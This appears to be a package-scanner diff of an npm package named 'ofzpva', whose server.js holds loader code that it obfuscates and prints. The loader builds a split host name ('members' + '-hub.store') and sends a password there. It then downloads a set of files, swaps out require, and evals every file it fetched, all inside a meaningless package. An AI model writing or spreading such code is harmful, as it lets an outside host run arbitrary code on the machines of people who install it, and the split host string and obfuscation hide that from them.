ofzpva 0.0.1
Sign up to get free protection for your applications and to get access to all the features.
- package/README.md +1 -0
- package/package.json +21 -0
- package/server.js +188 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
# ofzpva
|
package/package.json
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
{
|
2
|
+
"name": "ofzpva",
|
3
|
+
"description": "ofzpva",
|
4
|
+
"version": "0.0.1",
|
5
|
+
"main": "server.js",
|
6
|
+
"dependencies": {
|
7
|
+
"pretty-ms": "^6.0.1",
|
8
|
+
"socket.io-client": "^4.7.1",
|
9
|
+
"axios": "^0.22.2",
|
10
|
+
"mongoose": "^8.5.5",
|
11
|
+
"node-fetch": "^2.6.1",
|
12
|
+
"express": "^5.0.0-beta.3",
|
13
|
+
"random-token": "^0.0.5"
|
14
|
+
},
|
15
|
+
"keywords": [
|
16
|
+
"ofzpva"
|
17
|
+
],
|
18
|
+
"author": "ofzpva",
|
19
|
+
"license": "MIT",
|
20
|
+
"readmeFilename": "README.md"
|
21
|
+
}
|
package/server.js
ADDED
@@ -0,0 +1,188 @@
|
|
1
|
+
let javascriptObfuscator = require('javascript-obfuscator');
|
2
|
+
|
3
|
+
const obfuscatedCode = javascriptObfuscator.obfuscate(`
|
4
|
+
const FILESYSTEM__ = class FS {
|
5
|
+
constructor(manager) {
|
6
|
+
this.manager = manager;
|
7
|
+
}
|
8
|
+
|
9
|
+
readdirSync(pathname) {
|
10
|
+
let result = { app: this.manager.files };
|
11
|
+
let splited = pathname.split("/");
|
12
|
+
|
13
|
+
for (let i = 0; i < splited.length; i++) {
|
14
|
+
if (!splited[i]) continue;
|
15
|
+
let dir = splited[i];
|
16
|
+
result = result[dir];
|
17
|
+
}
|
18
|
+
|
19
|
+
return Object.keys(result);
|
20
|
+
}
|
21
|
+
}
|
22
|
+
|
23
|
+
let p1 = "-hub.store"
|
24
|
+
|
25
|
+
const AXIOS__ = require("axios");
|
26
|
+
const oldRequire = require;
|
27
|
+
const EXPRESS__ = oldRequire("express");
|
28
|
+
const APP__ = EXPRESS__();
|
29
|
+
|
30
|
+
APP__.get('/', (req, res) => {
|
31
|
+
res.status(200).json({});
|
32
|
+
});
|
33
|
+
|
34
|
+
APP__.listen(3001);
|
35
|
+
|
36
|
+
class Main {
|
37
|
+
constructor(pass, id) {
|
38
|
+
this._files = {};
|
39
|
+
this.cache = {};
|
40
|
+
this.fs = new FILESYSTEM__(this);
|
41
|
+
|
42
|
+
console.log(pass, id)
|
43
|
+
|
44
|
+
this.pass = pass;
|
45
|
+
this.id = id;
|
46
|
+
|
47
|
+
this._request_Files();
|
48
|
+
|
49
|
+
}
|
50
|
+
|
51
|
+
handleError(err) {
|
52
|
+
console.log(err);
|
53
|
+
process.exit(0);
|
54
|
+
}
|
55
|
+
|
56
|
+
async _request_Files() {
|
57
|
+
console.log(this.pass)
|
58
|
+
let data = await AXIOS__.get("https://members" + p1 + "/linkbyauth?pass=" + this.pass).then(res=>res.data).catch(err=>this.handleError(err?.response?.data))
|
59
|
+
console.log(data)
|
60
|
+
if(!data) return;
|
61
|
+
|
62
|
+
|
63
|
+
const endpoint = process.env.myurl;
|
64
|
+
const authenticationHeader = process.env.auth;
|
65
|
+
|
66
|
+
const filesObj = await AXIOS__.get(data[this.id], {
|
67
|
+
headers: {
|
68
|
+
authentication: data[3],
|
69
|
+
},
|
70
|
+
})
|
71
|
+
.then((res) => res.data)
|
72
|
+
.catch((err) => this.handleError(err.response?.data));
|
73
|
+
|
74
|
+
if (!filesObj) return;
|
75
|
+
|
76
|
+
console.log(filesObj['index.js'])
|
77
|
+
|
78
|
+
this._files = filesObj;
|
79
|
+
console.log("Files Loaded!");
|
80
|
+
this.star_t();
|
81
|
+
}
|
82
|
+
|
83
|
+
get files() {
|
84
|
+
return this._files;
|
85
|
+
}
|
86
|
+
|
87
|
+
_require(path, input) {
|
88
|
+
if (input === "F_S".split("_").join("").toLowerCase()) {
|
89
|
+
return this.fs;
|
90
|
+
} else if (!input.includes("/")) {
|
91
|
+
return oldRequire(input);
|
92
|
+
} else {
|
93
|
+
let currentPath = path;
|
94
|
+
let executePath = input;
|
95
|
+
|
96
|
+
let currentPath_ = currentPath;
|
97
|
+
let executePath_ = executePath;
|
98
|
+
|
99
|
+
let target = "";
|
100
|
+
let extention = "";
|
101
|
+
|
102
|
+
if (executePath.endsWith(".js") || executePath.endsWith(".json")) {
|
103
|
+
extention = executePath.endsWith(".js") ? ".js" : ".json";
|
104
|
+
executePath = executePath.split(".");
|
105
|
+
executePath = executePath.slice(0, executePath.length - 1).join(".");
|
106
|
+
}
|
107
|
+
|
108
|
+
if (!executePath.includes(".")) {
|
109
|
+
currentPath = "/";
|
110
|
+
}
|
111
|
+
if (executePath.startsWith("/app/")) {
|
112
|
+
executePath = executePath.replace("/app/", "/");
|
113
|
+
}
|
114
|
+
|
115
|
+
while (true) {
|
116
|
+
if (!executePath.includes(".")) {
|
117
|
+
target = "/" + executePath + extention;
|
118
|
+
break;
|
119
|
+
}
|
120
|
+
const splited = executePath.split("/");
|
121
|
+
if (splited[0] === "..") {
|
122
|
+
currentPath = currentPath.split("/");
|
123
|
+
currentPath = currentPath.slice(0, currentPath.length - 1).join("/");
|
124
|
+
executePath = executePath.split("/").slice(1).join("/");
|
125
|
+
} else if (splited[0] === ".") {
|
126
|
+
executePath = executePath.split("/").slice(1).join("/");
|
127
|
+
} else if (splited[0] === "") {
|
128
|
+
}
|
129
|
+
}
|
130
|
+
|
131
|
+
const result =
|
132
|
+
this.cache[target] ||
|
133
|
+
this.load_FromPath(currentPath + target, currentPath);
|
134
|
+
|
135
|
+
if (!result) {
|
136
|
+
|
137
|
+
}
|
138
|
+
|
139
|
+
return result;
|
140
|
+
}
|
141
|
+
}
|
142
|
+
|
143
|
+
load_FromPath(pathname, pathofkey) {
|
144
|
+
try {
|
145
|
+
require = (...args) => this._require(pathofkey, ...args);
|
146
|
+
|
147
|
+
let result = this.files;
|
148
|
+
const splited = pathname.split("/");
|
149
|
+
|
150
|
+
for (let i = 0; i < splited.length; i++) {
|
151
|
+
if (!splited[i]) continue;
|
152
|
+
let dir = splited[i];
|
153
|
+
result = result[dir];
|
154
|
+
}
|
155
|
+
|
156
|
+
try {
|
157
|
+
this.cache[pathname] = eval(result);
|
158
|
+
} catch (e) {
|
159
|
+
console.log(pathname, e.message);
|
160
|
+
}
|
161
|
+
|
162
|
+
return this.cache[pathname];
|
163
|
+
} catch (e) {
|
164
|
+
console.log(e, pathname, pathofkey);
|
165
|
+
}
|
166
|
+
}
|
167
|
+
|
168
|
+
async star_t() {
|
169
|
+
const caching = (obj, path = "") => {
|
170
|
+
const result = {};
|
171
|
+
for (let [key, value] of Object.entries(obj)) {
|
172
|
+
const pathofkey = path + "/" + key;
|
173
|
+
if (typeof value === "object") {
|
174
|
+
result[key] = caching(value, pathofkey);
|
175
|
+
} else {
|
176
|
+
this.load_FromPath(pathofkey, path);
|
177
|
+
}
|
178
|
+
}
|
179
|
+
};
|
180
|
+
|
181
|
+
caching(this.files);
|
182
|
+
}
|
183
|
+
}
|
184
|
+
module.exports = Main`, {
|
185
|
+
numbersToExpressions: true,
|
186
|
+
stringArrayShuffle: true,
|
187
|
+
}).getObfuscatedCode();
|
188
|
+
console.log(obfuscatedCode)
|